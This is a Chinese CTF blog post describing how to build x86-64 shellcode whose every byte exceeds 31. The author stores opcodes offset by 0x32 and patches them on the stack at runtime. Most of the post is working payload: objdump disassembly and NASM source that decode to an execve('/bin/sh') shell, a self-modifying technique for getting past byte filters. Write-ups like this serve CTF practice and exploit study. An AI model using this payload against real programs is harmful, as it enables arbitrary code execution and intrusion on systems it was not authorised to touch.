Shellcode——绕过31

we have a whole life

于 2023-10-26 22:51:24 发布

阅读量495

点赞数

文章标签： pwn

本文链接：https://blog.csdn.net/m0_53932372/article/details/134066484

版权

遇到了一道ctf题目，要求shellcode的每一个字节都必须大于31。

如果没有这个限制的话：
在这里插入图片描述

这是最方便的了。

但是必须大于31.

所以我想，那就吧所有小于31的加上31，然后运行的时候这部分代码自己修改自己。

也就是SMC,，简称自修改代码。

要注意：
小端输入
rsp寻址

~/Desktop/111 
❯ objdump -d ./shellcode -M intel

./shellcode:     file format elf64-x86-64


Disassembly of section .text:

0000000000401000 <_start>:
  401000:	48 b8 32 41 37 32 32 	movabs rax,0x3232323232374132
  401007:	32 32 32 
  40100a:	50                   	push   rax
  40100b:	48 b8 31 f6 31 d2 b8 	movabs rax,0x32323bb8d231f631
  401012:	3b 32 32 
  401015:	50                   	push   rax
  401016:	48 b8 2f 73 68 32 57 	movabs rax,0xe78948573268732f
  40101d:	48 89 e7 
  401020:	50                   	push   rax
  401021:	48 b8 31 c0 48 bf 2f 	movabs rax,0x6e69622fbf48c031
  401028:	62 69 6e 
  40102b:	50                   	push   rax
  40102c:	68 32 32 32 32       	push   0x32323232
  401031:	68 32 32 32 32       	push   0x32323232
  401036:	68 32 32 32 32       	push   0x32323232
  40103b:	68 32 32 32 32       	push   0x32323232
  401040:	8a 44 24 2b          	mov    al,BYTE PTR [rsp+0x2b]
  401044:	2c 32                	sub    al,0x32
  401046:	88 44 24 2b          	mov    BYTE PTR [rsp+0x2b],al
  40104a:	8a 44 24 36          	mov    al,BYTE PTR [rsp+0x36]
  40104e:	2c 32                	sub    al,0x32
  401050:	88 44 24 36          	mov    BYTE PTR [rsp+0x36],al
  401054:	8a 44 24 37          	mov    al,BYTE PTR [rsp+0x37]
  401058:	2c 32                	sub    al,0x32
  40105a:	88 44 24 37          	mov    BYTE PTR [rsp+0x37],al
  40105e:	8a 44 24 38          	mov    al,BYTE PTR [rsp+0x38]
  401062:	2c 32                	sub    al,0x32
  401064:	88 44 24 38          	mov    BYTE PTR [rsp+0x38],al
  401068:	8a 44 24 39          	mov    al,BYTE PTR [rsp+0x39]
  40106c:	2c 32                	sub    al,0x32
  40106e:	88 44 24 39          	mov    BYTE PTR [rsp+0x39],al
  401072:	8a 44 24 3a          	mov    al,BYTE PTR [rsp+0x3a]
  401076:	2c 32                	sub    al,0x32
  401078:	88 44 24 3a          	mov    BYTE PTR [rsp+0x3a],al
  40107c:	48 83 c4 20          	add    rsp,0x20
  401080:	48 89 e7             	mov    rdi,rsp
  401083:	ff e7                	jmp    rdi

asm代码：

section .text
    global _start

_start:
    ; 打开 /bin/sh
    mov rax, 0x3232323232374132
    push rax

    ;11
    mov rax, 0x32323bb8d231f631
    push rax

    ;22 23
    mov rax, 0xe78948573268732f
    push rax

    ;24 25 26 27 28 29 30 31
    mov rax, 0x6e69622fbf48c031
    push rax

    push 0x32323232
    push 0x32323232  
    push 0x32323232  
    push 0x32323232

    mov al, [rsp+31+12]
    sub al, 0x32
    mov [rsp+31+12], al

    mov al, [rsp+31+23]
    sub al, 0x32
    mov [rsp+31+23], al

    mov al, [rsp+31+24]
    sub al, 0x32
    mov [rsp+31+24], al

    mov al, [rsp+31+25]
    sub al, 0x32
    mov [rsp+31+25], al

    mov al, [rsp+31+26]
    sub al, 0x32
    mov [rsp+31+26], al

    mov al, [rsp+31+27]
    sub al, 0x32
    mov [rsp+31+27], al
    add rsp,32
    mov rdi,rsp
    jmp rdi

    ;mov rdi, rsp
    ;xor esi, esi
    ;xor edx, edx
    ;mov eax, 0x3b
    ;syscall